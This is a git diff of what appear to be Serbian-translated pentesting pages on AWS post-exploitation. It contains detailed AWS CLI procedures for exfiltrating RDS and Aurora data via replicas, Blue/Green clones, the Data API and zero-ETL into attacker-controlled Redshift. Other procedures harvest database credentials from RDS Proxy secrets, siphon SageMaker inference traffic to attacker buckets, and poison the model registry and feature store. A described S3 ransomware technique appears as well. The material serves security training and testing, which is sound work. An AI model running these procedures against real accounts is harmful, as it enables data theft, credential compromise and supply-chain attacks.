Osigurajte da je prikačen prilagođeni DB parameter group (podrazumevani se ne može izmeniti) -- Ako instanca već koristi prilagođeni DB parameter group, ponovo upotrebite njegovo ime u sledećem koraku. -- U suprotnom kreirajte i prikačite jedan koji odgovara engine family: +2) Osigurajte da je prikačen prilagođeni DB parameter group (podrazumevani se ne može menjati) +- Ako instanca već koristi prilagođenu grupu, koristite isto ime u sledećem koraku. +- U suprotnom, kreirajte i prikačite grupu koja odgovara porodici DB engine-a: ```bash # Example for PostgreSQL 16 aws rds create-db-parameter-group \ @@ -197,7 +197,7 @@ aws rds modify-db-instance \ # Wait until status becomes "available" ``` 3) Omogućite detaljno SQL logovanje -- MySQL engine-i (odmah / bez ponovnog pokretanja): +- MySQL engines (odmah / bez ponovnog pokretanja): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -208,7 +208,7 @@ aws rds modify-db-parameter-group \ # "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ # "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" ``` -- PostgreSQL engines (potreban restart): +- PostgreSQL motori (zahteva restart): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \ # Reboot if any parameter is pending-reboot aws rds reboot-db-instance --db-instance-identifier ``` -4) Dozvolite da workload radi (ili generišite upite). Upiti će biti zapisani u engine file logs +4) Neka workload radi (ili generišite upite). SQL statements biće zapisane u engine file logs - MySQL: `general/mysql-general.log` - PostgreSQL: `postgresql.log` -5) Pronađite i preuzmite logove (nisu potrebni DB kredencijali) +5) Otkrijte i preuzmite logs (nije potrebna DB creds) ```bash aws rds describe-db-log-files --db-instance-identifier @@ -246,7 +246,7 @@ Primer dokaza (redigovano): 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') ``` Čišćenje -- Vratiti parametre na podrazumevane vrednosti i restartovati ako je potrebno: +- Vratite parametre na podrazumevane vrednosti i ponovo pokrenite sistem ako je potrebno: ```bash # MySQL aws rds modify-db-parameter-group \ @@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \ "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" # Reboot if pending-reboot ``` -Uticaj: Post-exploitation pristup podacima hvatanjem svih SQL izjava aplikacije preko AWS API-ja (no DB creds), potencijalno leaking secrets, JWTs, and PII. +Uticaj: Post-exploitation pristup podacima hvatanjem svih aplikacionih SQL izjava putem AWS API-ja (bez DB creds), potentially leaking secrets, JWTs, and PII. ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` -Zloupotrebite RDS read replicas da biste dobili out-of-band read access bez diranja kredencijala primary instance. Napadač može kreirati read replica iz production instance, resetovati replica's master password (ovo ne menja primary), i opciono izložiti replica javno da bi exfiltrate podataka. +Zloupotrebite RDS read replicas da biste dobili out-of-band read pristup bez dodirivanja kredencijala primarne instance. Napadač može kreirati read replica iz produkcione instance, resetovati replica's master password (ovo ne menja primarnu), i opcionalno izložiti replica javno radi exfiltracije podataka. -Potrebne dozvole (minimalno): +Potrebne dozvole (minimum): - `rds:DescribeDBInstances` - `rds:CreateDBInstanceReadReplica` - `rds:ModifyDBInstance` -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (ako se izlaže javno) -Uticaj: Read-only access to production data via a replica with attacker-controlled credentials; manja verovatnoća detekcije jer primary ostaje netaknut i replication se nastavlja. +Uticaj: Read-only pristup produkcionim podacima preko replica sa attacker-controlled credentials; manja verovatnoća detekcije jer primarna ostaje netaknuta i replication se nastavlja. ```bash # 1) Recon: find non-Aurora sources with backups enabled aws rds describe-db-instances \ @@ -306,11 +306,11 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier ``` Primer dokaza (MySQL): - Status replike DB: `available`, replikacija za čitanje: `replicating` -- Uspostavljena konekcija sa novom lozinkom i `@@read_only=1` što potvrđuje pristup repliki samo za čitanje. +- Uspešna konekcija sa novom lozinkom i `@@read_only=1` koja potvrđuje pristup repliki samo za čitanje. ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` -Iskoristiti RDS Blue/Green za kloniranje produkcionog DB u kontinuirano replikovano, green okruženje samo za čitanje. Zatim resetovati master kredencijale za green kako biste pristupili podacima bez diranja blue (prod) instance. Ovo je diskretnije od deljenja snapshota i često zaobilazi monitoring koji je fokusiran samo na izvor. +Iskoristite RDS Blue/Green da klonirate production DB u kontinuirano replicirano green okruženje samo za čitanje. Zatim resetujte green master credentials kako biste pristupili podacima bez diranja blue (prod) instance. Ovo je diskretnije od snapshot sharing i često zaobilazi monitoring koji je fokusiran samo na izvor. ```bash # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) aws rds describe-db-instances \ @@ -357,22 +357,20 @@ aws rds delete-blue-green-deployment \ --blue-green-deployment-identifier \ --delete-target true ``` -Uticaj: Samo za čitanje, ali potpuni pristup podacima do near-real-time klona produkcije bez izmene produkcionog instance. Korisno za stealthy data extraction i offline analizu. +Uticaj: Samo za čitanje, ali kompletan pristup podacima na klonu produkcije skoro u realnom vremenu, bez izmene produkcione instance. Korisno za prikrivenu ekstrakciju podataka i offline analizu. ### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password -Zloupotrebite Aurora da omogućite RDS Data API HTTP endpoint na ciljnom klasteru, resetujete master password na vrednost koju kontrolišete, i izvršite SQL preko HTTPS-a (nije potreban VPC network path). Radi na Aurora engine-ima koji podržavaju Data API/EnableHttpEndpoint (npr. Aurora MySQL 8.0 provisioned; neke verzije Aurora PostgreSQL/MySQL). - -Permissions (minimum): +Minimalne dozvole: - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) - secretsmanager:CreateSecret - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) -Uticaj: Zaobiđite mrežnu segmentaciju i exfiltrate data via AWS APIs without direct VPC connectivity to the DB. +Uticaj: Zaobiđite segmentaciju mreže i exfiltrate podatke putem AWS APIs bez direktne VPC konekcije do DB.
-End-to-end CLI (Aurora MySQL example) +Kompletan CLI primer (Aurora MySQL) ```bash # 1) Identify target cluster ARN REGION=us-east-1 @@ -425,21 +423,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
Napomene: -- Ako rds-data odbije multi-statement SQL, pošaljite odvojene execute-statement pozive. -- Za engine gde modify-db-cluster --enable-http-endpoint nema efekta, koristite rds enable-http-endpoint --resource-arn. +- Ako rds-data odbija multi-statement SQL, izvršite odvojene execute-statement pozive. +- Za engine-e gde modify-db-cluster --enable-http-endpoint nema efekta, koristite rds enable-http-endpoint --resource-arn. - Proverite da li engine/version zaista podržava Data API; u suprotnom HttpEndpointEnabled će ostati False. -### Prikupljanje DB kredencijala preko RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) +### Pribavljanje DB kredencijala preko RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) -Iskoristite konfiguraciju RDS Proxy da otkrijete Secrets Manager secret koji se koristi za backend autentifikaciju, zatim pročitajte taj secret da biste dobili kredencijale baze podataka. Mnoge okoline dodeljuju široka `secretsmanager:GetSecretValue` prava, što ovo čini niskotarifnim pivotom ka DB creds. Ako secret koristi CMK, neadekvatno ograničene KMS dozvole mogu takođe omogućiti `kms:Decrypt`. +Zloupotrebite konfiguraciju RDS Proxy da otkrijete Secrets Manager secret koji se koristi za autentifikaciju backenda, zatim pročitajte taj secret da biste dobili database credentials. Mnogi enviroment-i dodeljuju široka `secretsmanager:GetSecretValue`, što ovo čini niskotarifnim pivotom ka DB creds. Ako secret koristi CMK, pogrešno skopirane KMS dozvole mogu takođe dozvoliti `kms:Decrypt`. -Potrebne dozvole (minimum): +Potrebne dozvole (minimalno): - `rds:DescribeDBProxies` -- `secretsmanager:GetSecretValue` na pomenutom SecretArn +- `secretsmanager:GetSecretValue` na referencirani SecretArn - Opcionalno kada secret koristi CMK: `kms:Decrypt` na tom ključu -Uticaj: Trenutno otkrivanje DB korisničkog imena/lozinke konfigurisanih na proxy-ju; omogućava direktan pristup DB ili dalje lateralno kretanje. +Uticaj: Trenutno otkrivanje DB korisničkog imena/lozinke konfigurisane na proxy-ju; omogućava direktan pristup DB-u ili dalje lateral movement. Koraci ```bash @@ -482,7 +480,7 @@ aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delet ``` ### Neprimetna kontinuirana eksfiltracija putem Aurora zero‑ETL u Amazon Redshift (rds:CreateIntegration) -Iskoristite Aurora PostgreSQL zero‑ETL integraciju za kontinuiranu replikaciju produkcijskih podataka u Redshift Serverless namespace koji kontrolišete. Uz permisivnu Redshift resource policy koja autorizuje CreateInboundIntegration/AuthorizeInboundIntegration za konkretan Aurora cluster ARN, napadač može uspostaviti kopiju podataka skoro u realnom vremenu bez DB creds, snapshots ili izlaganja mreži. +Iskoristite Aurora PostgreSQL zero‑ETL integraciju za kontinuiranu replikaciju produkcionih podataka u Redshift Serverless namespace koji kontrolišete. Sa permisivnom Redshift resource policy koja autorizuje CreateInboundIntegration/AuthorizeInboundIntegration za konkretan Aurora cluster ARN, napadač može uspostaviti gotovo u realnom vremenu kopiju podataka bez DB creds, snapshot‑ova ili izloženosti mreži. Permissions needed (minimum): - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` @@ -509,7 +507,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
-2) Konfigurišite Redshift politiku resursa da dozvoli izvor Aurora +2) Podesite Redshift politiku resursa tako da dozvoli izvor Aurora ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= @@ -540,7 +538,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
-3) Kreirajte Aurora PostgreSQL klaster (omogućite Data API i logičku replicaciju) +3) Kreirajte Aurora PostgreSQL klaster (omogućite Data API i logical replication) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ @@ -571,7 +569,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
-4) Kreirajte zero‑ETL integraciju iz RDS +4) Napravite zero‑ETL integraciju iz RDS ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ @@ -596,12 +594,11 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d ```
-Dokazi primećeni tokom testa: +Dokazi zapaženi u testu: - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... -- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation. -- Nakon CREATE DATABASE FROM INTEGRATION, pregled tabela otkrio je šemu ztl i tabelu customers; upit nad ztl.customers vratio je 2 reda (Alice, Bob). +- SVV_INTEGRATION je prikazao integration_id 377a462b-c42c-4f08-937b-77fe75d98211 i state PendingDbConnectState pre kreiranja DB. +- Nakon CREATE DATABASE FROM INTEGRATION, listing tables je otkrio schema ztl i table customers; selecting from ztl.customers vratio je 2 reda (Alice, Bob). -Uticaj: Kontinuirana skoro u realnom vremenu exfiltration odabranih Aurora PostgreSQL tabela u Redshift Serverless pod kontrolom napadača, bez korišćenja database credentials, backups, ili network access do izvornog klastera. +Uticaj: Kontinuirana near‑real‑time exfiltration izabranih Aurora PostgreSQL tabela u Redshift Serverless pod kontrolom napadača, bez korišćenja database credentials, backups ili network access do source cluster. - -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md deleted file mode 100644 index ffb9cab15..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ /dev/null @@ -1,38 +0,0 @@ -# AWS - S3 Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 - -Za više informacija proverite: - -{{#ref}} -../aws-services/aws-s3-athena-and-glacier-enum.md -{{#endref}} - -### Osetljive Informacije - -Ponekad ćete moći da pronađete osetljive informacije u čitljivim u bucket-ima. Na primer, terraform state tajne. - -### Pivotiranje - -Različite platforme mogu koristiti S3 za skladištenje osetljivih sredstava.\ -Na primer, **airflow** može skladištiti **DAGs** **kod** tamo, ili se **web stranice** mogu direktno servirati iz S3. Napadač sa pravima pisanja može **modifikovati kod** iz bucket-a da **pivotira** na druge platforme, ili **preuzeti naloge** modifikujući JS datoteke. - -### S3 Ransomware - -U ovom scenariju, **napadač kreira KMS (Key Management Service) ključ u svom AWS nalogu** ili drugom kompromitovanom nalogu. Zatim čini ovaj **ključ dostupnim svima na svetu**, omogućavajući bilo kojem AWS korisniku, ulozi ili nalogu da enkriptuje objekte koristeći ovaj ključ. Međutim, objekti se ne mogu dekriptovati. - -Napadač identifikuje cilj **S3 bucket i dobija pristup na nivou pisanja** koristeći različite metode. To može biti zbog loše konfiguracije bucket-a koja ga izlaže javno ili napadač dobija pristup AWS okruženju. Napadač obično cilja bucket-e koji sadrže osetljive informacije kao što su lične identifikacione informacije (PII), zaštićene zdravstvene informacije (PHI), logove, backup-e i još mnogo toga. - -Da bi utvrdio da li se bucket može ciljati za ransomware, napadač proverava njegovu konfiguraciju. Ovo uključuje verifikaciju da li je **S3 Object Versioning** omogućen i da li je **multi-factor authentication delete (MFA delete) omogućen**. Ako Object Versioning nije omogućen, napadač može nastaviti. Ako je Object Versioning omogućen, ali je MFA delete onemogućen, napadač može **onemogućiti Object Versioning**. Ako su i Object Versioning i MFA delete omogućeni, postaje teže za napadača da ransomware-uje taj specifični bucket. - -Koristeći AWS API, napadač **menja svaki objekat u bucket-u sa enkriptovanom kopijom koristeći svoj KMS ključ**. Ovo efikasno enkriptuje podatke u bucket-u, čineći ih nedostupnim bez ključa. - -Da bi dodatno pritisnuo, napadač zakazuje brisanje KMS ključa korišćenog u napadu. Ovo daje cilju 7-dnevni period da povrati svoje podatke pre nego što ključ bude obrisan i podaci postanu trajno izgubljeni. - -Na kraju, napadač može otpremiti konačnu datoteku, obično nazvanu "ransom-note.txt," koja sadrži uputstva za cilj o tome kako da povrati svoje datoteke. Ova datoteka se otprema bez enkripcije, verovatno da bi privukla pažnju cilja i obavestila ih o ransomware napadu. - -**Za više informacija** [**proverite originalno istraživanje**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md new file mode 100644 index 000000000..9f17c4f0f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -0,0 +1,38 @@ +# AWS - S3 Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-s3-athena-and-glacier-enum.md +{{#endref}} + +### Osetljive informacije + +Ponekad ćete moći da pronađete osetljive informacije čitljive u buckets. Na primer, terraform state secrets. + +### Pivoting + +Različite platforme mogu koristiti S3 za čuvanje osetljivih assets.\ +For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files. + +### S3 Ransomware + +U ovom scenariju, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted. + +The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more. + +To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket. + +Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key. + +To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost. + +Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack. + +**Za više informacija** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md new file mode 100644 index 000000000..433da4e9f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md @@ -0,0 +1,179 @@ +# AWS - SageMaker Post-Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig + +Iskoristite upravljanje SageMaker endpoint-om da omogućite potpuno snimanje zahteva i odgovora u S3 bucket koji kontroliše napadač, bez diranja modela ili container-a. Koristi zero/low‑downtime rolling update i zahteva samo dozvole za upravljanje endpoint-om. + +### Zahtevi +- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` +- S3: `s3:CreateBucket` (ili koristite postojeći bucket u istom nalogu) +- Opcionalno (ako se koristi SSE‑KMS): `kms:Encrypt` na odabranom CMK +- Cilj: Postojeći InService real‑time endpoint u istom nalogu/regiji + +### Koraci +1) Identifikujte InService endpoint i prikupite trenutne produkcione varijante +```bash +REGION=${REGION:-us-east-1} +EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text) +echo "Endpoint=$EP" +CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) +echo "EndpointConfig=$CFG" +aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json +``` +2) Pripremite attacker S3 destinaciju za captures +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-capture-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION +``` +3) Kreirajte novi EndpointConfig koji zadržava iste varijante, ali omogućava DataCapture u attacker bucket + +Napomena: Koristite eksplicitne content-type vrednosti koje zadovoljavaju CLI validaciju. +```bash +NEWCFG=${CFG}-dc +cat > /tmp/dc.json << JSON +{ +"EnableCapture": true, +"InitialSamplingPercentage": 100, +"DestinationS3Uri": "s3://$BUCKET/capture", +"CaptureOptions": [ +{"CaptureMode": "Input"}, +{"CaptureMode": "Output"} +], +"CaptureContentTypeHeader": { +"JsonContentTypes": ["application/json"], +"CsvContentTypes": ["text/csv"] +} +} +JSON +aws sagemaker create-endpoint-config \ +--region $REGION \ +--endpoint-config-name "$NEWCFG" \ +--production-variants file:///tmp/pv.json \ +--data-capture-config file:///tmp/dc.json +``` +4) Primeni novu konfiguraciju koristeći rolling update (minimalno/bez zastoja) +```bash +aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" +aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" +``` +5) Generišite najmanje jedan poziv za inferencu (opciono ako postoji saobraćaj uživo) +```bash +echo '{"inputs":[1,2,3]}' > /tmp/payload.json +aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \ +--content-type application/json --accept application/json \ +--body fileb:///tmp/payload.json /tmp/out.bin || true +``` +6) Potvrdite captures u attacker S3 +```bash +aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize +``` +### Uticaj +- Potpuna exfiltration real‑time inference request i response payload‑ova (i metapodataka) sa ciljanog endpointa u S3 bucket pod kontrolom napadača. +- Nema izmena model/container image‑a i samo izmene na nivou endpointa, što omogućava prikriveni put krađe podataka sa minimalnim operativnim prekidima. + + +## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig + +Iskoristite upravljanje endpointom da preusmerite izlaze asinkronih inference‑a u S3 bucket pod kontrolom napadača kloniranjem trenutnog EndpointConfig‑a i postavljanjem AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. This exfiltrates model predictions (i sve transformisane inpute koje container uključuje) bez menjanja modela/containera. + +### Requirements +- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` +- S3: Sposobnost upisa u S3 bucket pod kontrolom napadača (putem model execution role ili permissive bucket policy) +- Target: An InService endpoint where asynchronous invocations are (or will be) used + +### Steps +1) Gather current ProductionVariants from the target endpoint +```bash +REGION=${REGION:-us-east-1} +EP= +CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) +aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json +``` +2) Kreirajte attacker bucket (osigurajte da model execution role može da izvrši PutObject u njega) +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-async-exfil-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION || true +``` +3) Kloniraj EndpointConfig i hijack AsyncInference izlaze u attacker bucket +```bash +NEWCFG=${CUR_CFG}-async-exfil +cat > /tmp/async_cfg.json << JSON +{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}} +JSON +aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json +aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" +aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" +``` +4) Pokrenite async invocation i proverite da li objects dospevaju u attacker S3 +```bash +aws s3 cp /etc/hosts s3://$BUCKET/inp.bin +aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true +sleep 30 +aws s3 ls s3://$BUCKET/async-out/ --recursive || true +aws s3 ls s3://$BUCKET/async-fail/ --recursive || true +``` +### Uticaj +- Preusmerava rezultate asinhrone inferencije (i tela grešaka) na S3 pod kontrolom napadača, omogućavajući tajnu eksfiltraciju predikcija i potencijalno osetljivih ulaza pre/post-obrade koje proizvodi container, bez menjanja model code ili image i uz minimalan/nikakav zastoj. + + +## SageMaker Model Registry injekcija lanca snabdevanja preko CreateModelPackage(Approved) + +Ako napadač može CreateModelPackage na ciljanoj SageMaker Model Package Group, može registrovati novu verziju modela koja pokazuje na attacker-controlled container image i odmah je označiti kao Approved. Mnogi CI/CD pipelines automatski deploy-uju Approved verzije modela na endpoints ili training jobs, što rezultira attacker code execution pod execution rolama servisa. Izloženost između naloga može biti pojačana permisivnom ModelPackageGroup resource policy. + +### Zahtevi +- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup +- Opcionalno (za kreiranje grupe ako ne postoji): `sagemaker:CreateModelPackageGroup` +- S3: pristup za čitanje do referenciranog ModelDataUrl (ili host attacker-controlled artifacts) +- Cilj: A Model Package Group koju downstream automation prati za Approved verzije + +### Koraci +1) Podesiti region i kreirati/pronaći ciljani Model Package Group +```bash +REGION=${REGION:-us-east-1} +MPG=victim-group-$(date +%s) +aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group" +``` +2) Pripremite probne podatke modela u S3 +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-mpkg-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION +head -c 1024 /tmp/model.tar.gz +aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION +``` +3) Registrujte zlonamerni (ovde bezopasan) Approved model package version koja referencira javni AWS DLC image +```bash +IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3" +cat > /tmp/inf.json << JSON +{ +"Containers": [ +{ +"Image": "$IMG", +"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz" +} +], +"SupportedContentTypes": ["text/csv"], +"SupportedResponseMIMETypes": ["text/csv"] +} +JSON +aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json +``` +4) Proverite da nova odobrena verzija postoji +```bash +aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table +``` +### Uticaj +- Zatrovati Model Registry Approved verzijom koja referencira kod pod kontrolom napadača. Pipelines koji automatski deploy-uju Approved models mogu povući i pokrenuti attacker image, što dovodi do izvršavanja koda pod endpoint/training rolama. +- Sa permisivnom ModelPackageGroup resource policy (PutModelPackageGroupPolicy), ova zloupotreba se može pokrenuti cross-account. + +## Zatrovanje Feature store + +Zlorabiti `sagemaker:PutRecord` na Feature Group sa omogućenim OnlineStore da prepišete žive vrednosti feature-a koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature-e. Ovo ne zahteva pristup models ili endpoints. + +{{#ref}} +feature-store-poisoning.md +{{/ref}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md new file mode 100644 index 000000000..efecc89dd --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -0,0 +1,50 @@ +# SageMaker Feature Store online store poisoning + +Iskoristite `sagemaker:PutRecord` na Feature Group sa omogućenim OnlineStore da prepišete žive vrednosti feature-a koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature vrednosti. Ovo ne zahteva pristup modelima ili endpoint-ima. + +## Zahtevi +- Dozvole: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` +- Cilj: Feature Group sa omogućenim OnlineStore (obično podržava real-time inference) + +## Koraci +1) Izaberite ili napravite mali Online Feature Group za testiranje +```bash +REGION=${REGION:-us-east-1} +FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text) +if [ -z "$FG" -o "$FG" = "None" ]; then +ACC=$(aws sts get-caller-identity --query Account --output text) +FG=ht-fg-$ACC-$(date +%s) +ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole) +aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN" +echo "Waiting for feature group to be in Created state..." +for i in $(seq 1 40); do +ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true) +echo $ST; [ "$ST" = "Created" ] && break; sleep 15 +done +fi +``` +2) Ubaci/prepiši online zapis (poison) +```bash +NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) +cat > /tmp/put.json << JSON +{ +"FeatureGroupName": "$FG", +"Record": [ +{"FeatureName": "entity_id", "ValueAsString": "user-123"}, +{"FeatureName": "event_time", "ValueAsString": "$NOW"}, +{"FeatureName": "risk_score", "ValueAsString": "0.99"} +], +"TargetStores": ["OnlineStore"] +} +JSON +aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json +``` +3) Pročitajte zapis da biste potvrdili manipulaciju +```bash +aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString" +``` +Očekivano: risk_score returns 0.99 (attacker-set), dokazujući sposobnost promene online features koje koriste models. + +## Uticaj +- Real-time integrity attack: manipuliše features koje koriste production models bez diranja endpoints/models. +- Rizik poverljivosti: čitanje osetljivih features putem GetRecord iz OnlineStore. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md deleted file mode 100644 index 57009989d..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ /dev/null @@ -1,130 